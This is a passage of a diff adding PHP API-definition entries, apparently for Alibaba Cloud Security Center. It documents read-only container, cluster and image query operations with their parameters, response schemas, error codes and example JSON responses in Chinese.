'items' => [ + 'description' => '容器列名称获取容器对应的值。'."\n" + ."\n" + .'- **FieldName**为**namespace**时，该值表示命名空间。'."\n" + .'- **FieldName**为**appName**，该值表示应用名称。'."\n" + .'- **FieldName**为**image**，该值表示镜像。'."\n" + .'- **FieldName**为**tag**，该值表示标签。', + 'type' => 'string', + 'example' => 'node-exporter'."\n", + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"TagValues\\": [\\n \\"node-exporter\\\\n\\"\\n ]\\n}","type":"json"}]', + 'title' => '根据容器列名称获取容器对应的值', + ], + 'DescribeAssetsSecurityEventSummary' => [ + 'summary' => '查询容器资产风险信息统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '113.108.XX.XX', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：容器实例ID'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：容器地域'."\n" + .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像仓名称'."\n" + .'- **imageRepoNamespace**：镜像仓命名空间'."\n" + .'- **imageRepoTag**：镜像仓标签'."\n" + .'- **imageDigest**：镜像digest'."\n" + .'- **clusterType**：集群类型'."\n" + .'- **hostIp**：公网IP'."\n" + .'- **pod**：pod'."\n" + .'- **podIp**：pod IP'."\n" + .'- **containerId**：容器ID'."\n" + .'- **vulStatus**：容器是否存在漏洞'."\n" + .'- **alarmStatus**：容器是否存在安全告警'."\n" + .'- **riskStatus**：容器是否存在风险'."\n" + .'- **riskLevel**：容器风险等级'."\n" + .'- **containerScope**：容器类型', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterName', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'arms-prom-operator', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc58f827d893f4d7fb3e34b5d4395****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'Assets' => [ + 'description' => '容器资产风险统计信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器资产风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'RiskCount' => [ + 'description' => '存在风险的资产数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '16', + ], + 'TotalCount' => [ + 'description' => '资产总数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'AssetType' => [ + 'description' => '资产类型。取值：'."\n" + ."\n" + .'- **namespace**：命名空间'."\n" + .'- **clusters**：集群'."\n" + .'- **applications**：应用'."\n" + .'- **pods**：容器组'."\n" + .'- **containers**：容器'."\n" + .'- **images**：镜像'."\n" + .'- **hosts**：节点', + 'type' => 'string', + 'example' => 'namespace', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"Assets\\": [\\n {\\n \\"RiskCount\\": 16,\\n \\"TotalCount\\": 30,\\n \\"AssetType\\": \\"namespace\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询容器资产风险信息统计', + ], + 'DescribeImage' => [ + 'summary' => '查询镜像Digest。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ImageRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像所在的地域ID。'."\n" + .'> 您可以调用[DescribeImageInstances](~~DescribeImageInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'ImageInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像实例ID。'."\n" + .'> 您可以调用[DescribeImageInstances](~~DescribeImageInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cri-hfs6gaawhyu6****', + ], + ], + [ + 'name' => 'ImageTag', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像标签。'."\n" + .'> 您可以调用[DescribeImageInstances](~~DescribeImageInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '1.8.0.15', + ], + ], + [ + 'name' => 'ImageRepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库ID。'."\n" + .'> 您可以调用[DescribeImageInstances](~~DescribeImageInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'crr-7i88t7lx3fmf****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'Data' => [ + 'description' => '返回的镜像Digest信息。', + 'type' => 'object', + 'properties' => [ + 'Digest' => [ + 'description' => '镜像Digest值。', + 'type' => 'string', + 'example' => '0afb98d97f1a4030782fcf47e186909e5ad957bcc182d8be70334e0684b2****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Data\\": {\\n \\"Digest\\": \\"0afb98d97f1a4030782fcf47e186909e5ad957bcc182d8be70334e0684b2****\\"\\n }\\n}","type":"json"}]', + 'title' => '查询镜像Digest', + ], + 'DescribeClusterInfoList' => [ + 'summary' => '查询集群信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + .'- **containerNetwork**：容器网络'."\n" + .'- **interceptionSwitch**：集群微隔离', + 'type' => 'string', + 'required' => true, + 'example' => 'containerNetwork', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标开关的配置的操作维度。取值：'."\n" + .'- **Cluster**：集群ID', + 'type' => 'string', + 'required' => true, + 'example' => 'Cluster', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '目标开关的配置的操作值。该值表示集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c23551de6149343e8a54e69fbefe6****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'ClusterList' => [ + 'description' => '集群信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群信息。', + 'type' => 'object', + 'properties' => [ + 'State' => [ + 'description' => '是否可用。取值：'."\n" + ."\n" + .'- **unavailable**：不可用'."\n" + .'- **Available**：可用'."\n" + .'- **Creating**：创建中'."\n" + .'- **CreateFailed**：创建失败', + 'type' => 'string', + 'example' => 'Available', + ], + 'ClusterType' => [ + 'description' => '集群类型。取值：'."\n" + ."\n" + .'- **ManagedKubernetes**：kubernetes托管版'."\n" + .'- **NotManagedKubernetes**：kubernetes非托管版'."\n" + .'- **PrivateKubernetes**：私有集群'."\n" + .'- **kubernetes**：kubernetes专有版'."\n" + .'- **ask**：ask专有版', + 'type' => 'string', + 'example' => 'ManagedKubernetes', + ], + 'ClusterName' => [ + 'description' => '容器集群名称。', + 'type' => 'string', + 'example' => 'test111', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****', + ], + 'RegionId' => [ + 'description' => '容器集群的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'TargetResult' => [ + 'description' => '集群开关。'."\n" + ."\n" + .'- **true**：开'."\n" + .'- **false**：关', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"ClusterList\\": [\\n {\\n \\"State\\": \\"Available\\",\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"ClusterName\\": \\"test111\\",\\n \\"ClusterId\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"TargetResult\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询集群列表', + ], + 'DescribeContainerCriteria' => [ + 'summary' => '获取容器列表支持的检索信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'GroupField', + 'in' => 'query', + 'schema' => [ + 'description' => '检索项。取值：'."\n" + .'- **pod**：pod。'."\n" + .'- **appName**：应用名称。'."\n" + .'- **clusterId**：集群编号。'."\n" + .'- **namespace**：命名空间。'."\n" + .'- **image**：镜像。'."\n" + .'- **containerScan**：容器扫描。', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '检索项对应值。支持应用名称、节点名称、命名空间、集群名称、公网IP、Pod地址、地域、Pod、实例ID、集群ID、容器ID模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'cfb41a869c71e4678a97021582dd8a****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'CriteriaList' => [ + 'description' => '支持检索项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '支持检索项信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'input', + ], + 'Name' => [ + 'description' => '对应的查询条件的名称。'."\n" + ."\n" + .'- **instanceId**：容器实例ID。'."\n" + .'- **clusterId**：集群ID。'."\n" + .'- **regionId**：容器地域。'."\n" + .'- **clusterName**：集群名称。'."\n" + .'- **image**：镜像名称。'."\n" + .'- **imageRepoName**：镜像仓名称。'."\n" + .'- **imageRepoNamespace**：镜像仓命名空间。'."\n" + .'- **imageRepoTag**：镜像仓标签。'."\n" + .'- **imageDigest**：镜像digest。'."\n" + .'- **clusterType**：集群类型。'."\n" + .'- **hostIp**：公网IP。'."\n" + .'- **pod**：pod。'."\n" + .'- **podIp**：pod IP。'."\n" + .'- **containerId**：容器ID。'."\n" + .'- **vulStatus**：容器是否存在漏洞。'."\n" + .'- **alarmStatus**：容器是否存在安全告警。'."\n" + .'- **riskStatus**：容器是否存在风险。'."\n" + .'- **riskLevel**：容器风险等级。'."\n" + .'- **containerScope**：容器类型。', + 'type' => 'string', + 'example' => 'clusterId', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'ManagedKubernetes,NotManagedKubernetes,PrivateKubernetes', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"clusterId\\",\\n \\"Values\\": \\"ManagedKubernetes,NotManagedKubernetes,PrivateKubernetes\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取容器列表支持的检索信息', + ], + 'DescribeContainerInstances' => [ + 'summary' => '获取容器的实例信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。包含一下字段：'."\n" + ."\n" + .'- **name**：检索项'."\n" + .'- **value**：检索项值'."\n" + .'- **logicalExp**：多条件时，检索项之间的关系，取值：'."\n" + .' - **OR**：表示多个条件间为**或**的关系。'."\n" + .' - **AND**：表示多个条件间为**与**的关系。'."\n" + .'> 支持使用容器ID、集群ID、集群名称、集群类型、风险等级、地域、等条件搜索资产。您可以调用[DescribeContainerCriteria](~~DescribeContainerCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"flag","value":"0|8","logicalExp":"AND"},{"name":"ecsType","value":"!8","logicalExp":"AND"}][{"name":"clusterType","value":"NotManagedKubernetes","logicalExp":"AND"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + .'- **OR**：表示多个条件间为**或**的关系。'."\n" + .'- **AND**：表示多个条件间为**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'AND', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + 'ContainerInstanceList' => [ + 'description' => '容器资产信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器资产信息。', + 'type' => 'object', + 'properties' => [ + 'ImageRepoTag' => [ + 'description' => '镜像的标签。', + 'type' => 'string', + 'example' => '0.3.1.0-dfa2010-aliyun', + ], + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'alibaba-log-controller', + ], + 'PodIp' => [ + 'description' => 'pod地址。', + 'type' => 'string', + 'example' => '172.24.XX.XX', + ], + 'VulCount' => [ + 'description' => '当前容器集群中存在漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'HcStatus' => [ + 'description' => '基线风险状态。取值：'."\n" + ."\n" + .'- **NO**：没有基线问题 '."\n" + .'- **YES**：有基线问题', + 'type' => 'string', + 'example' => 'YES', + ], + 'ImageId' => [ + 'description' => '镜像ID。', + 'type' => 'string', + 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/log-controller@sha256:5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'cfb41a869c71e4678a97021582dd8a****', + ], + 'ImageRepoName' => [ + 'description' => '镜像的仓库名称。', + 'type' => 'string', + 'example' => 'log-controller', + ], + 'HostIp' => [ + 'description' => '主机IP。', + 'type' => 'string', + 'example' => '172.24.XX.XX', + ], + 'Pod' => [ + 'description' => '容器组。', + 'type' => 'string', + 'example' => 'alibaba-log-controller-6f847f8786-mk2mg', + ], + 'RiskStatus' => [ + 'description' => '是否存在风险 。取值：'."\n" + ."\n" + .'- **NO**：无风险'."\n" + .'- **YES**：有风险', + 'type' => 'string', + 'example' => 'YES', + ], + 'VulStatus' => [ + 'description' => '容器资产是否存在漏洞。取值：'."\n" + .'- **YES**：存在漏洞'."\n" + .'- **NO**：不存在漏洞', + 'type' => 'string', + 'example' => 'YES', + ], + 'AlarmStatus' => [ + 'description' => '容器是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'YES', + ], + 'Image' => [ + 'description' => '容器镜像。', + 'type' => 'string', + 'example' => 'docker.io/library/nginx:latest', + ], + 'ImageRepoNamespace' => [ + 'description' => '镜像仓库命名空间。', + 'type' => 'string', + 'example' => 'acs', + ], + 'ImageDigest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => '5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'kube-system', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 'i-2zegzjyotydfkz9****', + ], + 'NodeInfo' => [ + 'description' => '节点信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'ImageUuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => '5f23dfbceec289a49ac94e035e2****', + ], + 'RegionId' => [ + 'description' => '容器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'UpdateMark' => [ + 'description' => '容器资产的更新标识。', + 'type' => 'string', + 'example' => '79cff74d-e967-5407-8a78-ee03b9****', + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d****', + ], + 'NodeName' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'HcCount' => [ + 'description' => '基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'RiskCount' => [ + 'description' => '风险数量。', + 'type' => 'string', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CreateTimestamp' => [ + 'description' => '创建集群时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1670368337000', + ], + 'Exposed' => [ + 'description' => '是否公网暴露。'."\n" + .'- **1**：暴露'."\n" + .'- **0**：未暴露', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ExposedDetail' => [ + 'description' => 'json字符串暴露详情。', + 'type' => 'string', + 'example' => '[{\\"exposedName\\":\\"nginx-ingress-lb\\",\\"exposedType\\":\\"LoadBalancer\\",\\"portDOList\\":[{\\"name\\":\\"http\\",\\"nodePort\\":32268,\\"port\\":80,\\"targetPort\\":80},{\\"name\\":\\"https\\",\\"nodePort\\":32376,\\"port\\":443,\\"targetPort\\":443}]}] ', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 3\\n },\\n \\"ContainerInstanceList\\": [\\n {\\n \\"ImageRepoTag\\": \\"0.3.1.0-dfa2010-aliyun\\",\\n \\"AppName\\": \\"alibaba-log-controller\\",\\n \\"PodIp\\": \\"172.24.XX.XX\\",\\n \\"VulCount\\": 15,\\n \\"HcStatus\\": \\"YES\\",\\n \\"ImageId\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/log-controller@sha256:5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****\\",\\n \\"ClusterId\\": \\"cfb41a869c71e4678a97021582dd8a****\\",\\n \\"ImageRepoName\\": \\"log-controller\\",\\n \\"HostIp\\": \\"172.24.XX.XX\\",\\n \\"Pod\\": \\"alibaba-log-controller-6f847f8786-mk2mg\\",\\n \\"RiskStatus\\": \\"YES\\",\\n \\"VulStatus\\": \\"YES\\",\\n \\"AlarmStatus\\": \\"YES\\",\\n \\"Image\\": \\"docker.io/library/nginx:latest\\",\\n \\"ImageRepoNamespace\\": \\"acs\\",\\n \\"ImageDigest\\": \\"5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"InstanceId\\": \\"i-2zegzjyotydfkz9****\\",\\n \\"NodeInfo\\": \\"test\\",\\n \\"ImageUuid\\": \\"5f23dfbceec289a49ac94e035e2****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"UpdateMark\\": \\"79cff74d-e967-5407-8a78-ee03b9****\\",\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d****\\",\\n \\"NodeName\\": \\"test\\",\\n \\"HcCount\\": 1,\\n \\"ClusterName\\": \\"test\\",\\n \\"RiskCount\\": \\"1\\",\\n \\"AlarmCount\\": 1,\\n \\"CreateTimestamp\\": 1670368337000,\\n \\"Exposed\\": 1,\\n \\"ExposedDetail\\": \\"[{\\\\\\\\\\\\\\"exposedName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"nginx-ingress-lb\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"exposedType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"LoadBalancer\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"portDOList\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"http\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"nodePort\\\\\\\\\\\\\\":32268,\\\\\\\\\\\\\\"port\\\\\\\\\\\\\\":80,\\\\\\\\\\\\\\"targetPort\\\\\\\\\\\\\\":80},{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"https\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"nodePort\\\\\\\\\\\\\\":32376,\\\\\\\\\\\\\\"port\\\\\\\\\\\\\\":443,\\\\\\\\\\\\\\"targetPort\\\\\\\\\\\\\\":443}]}] \\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取容器的实例信息列表', + ], + 'DescribeImageCriteria' => [ + 'summary' => '获取镜像检索项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '查询镜像时输入的模糊匹配值。'."\n" + ."\n" + .'> 该参数支持镜像ID、镜像标签、镜像实例ID、镜像仓名称、镜像仓ID、镜像仓命名空间、镜像地域、镜像digest、镜像仓类型的模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => '525', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'CriteriaList' => [ + 'description' => '镜像查询条件的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像查询条件的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'input', + ], + 'Name' => [ + 'description' => '查询条件的名称。'."\n" + ."\n" + .'- **tag**：镜像标签。'."\n" + .'- **digest**：镜像digest。'."\n" + .'- **vulStatus**：漏洞状态。'."\n" + .'- **alarmStatus**：安全告警状态。'."\n" + .'- **riskStatus**：风险状态。'."\n" + .'- **registryType**：镜像仓类型。', + 'type' => 'string', + 'example' => 'vulStatus', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'NO,YES', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"vulStatus\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取镜像检索项', + ], + 'DescribeImageInstances' => [ + 'summary' => '获取镜像信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92107', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，包含以下字段：'."\n" + .'- 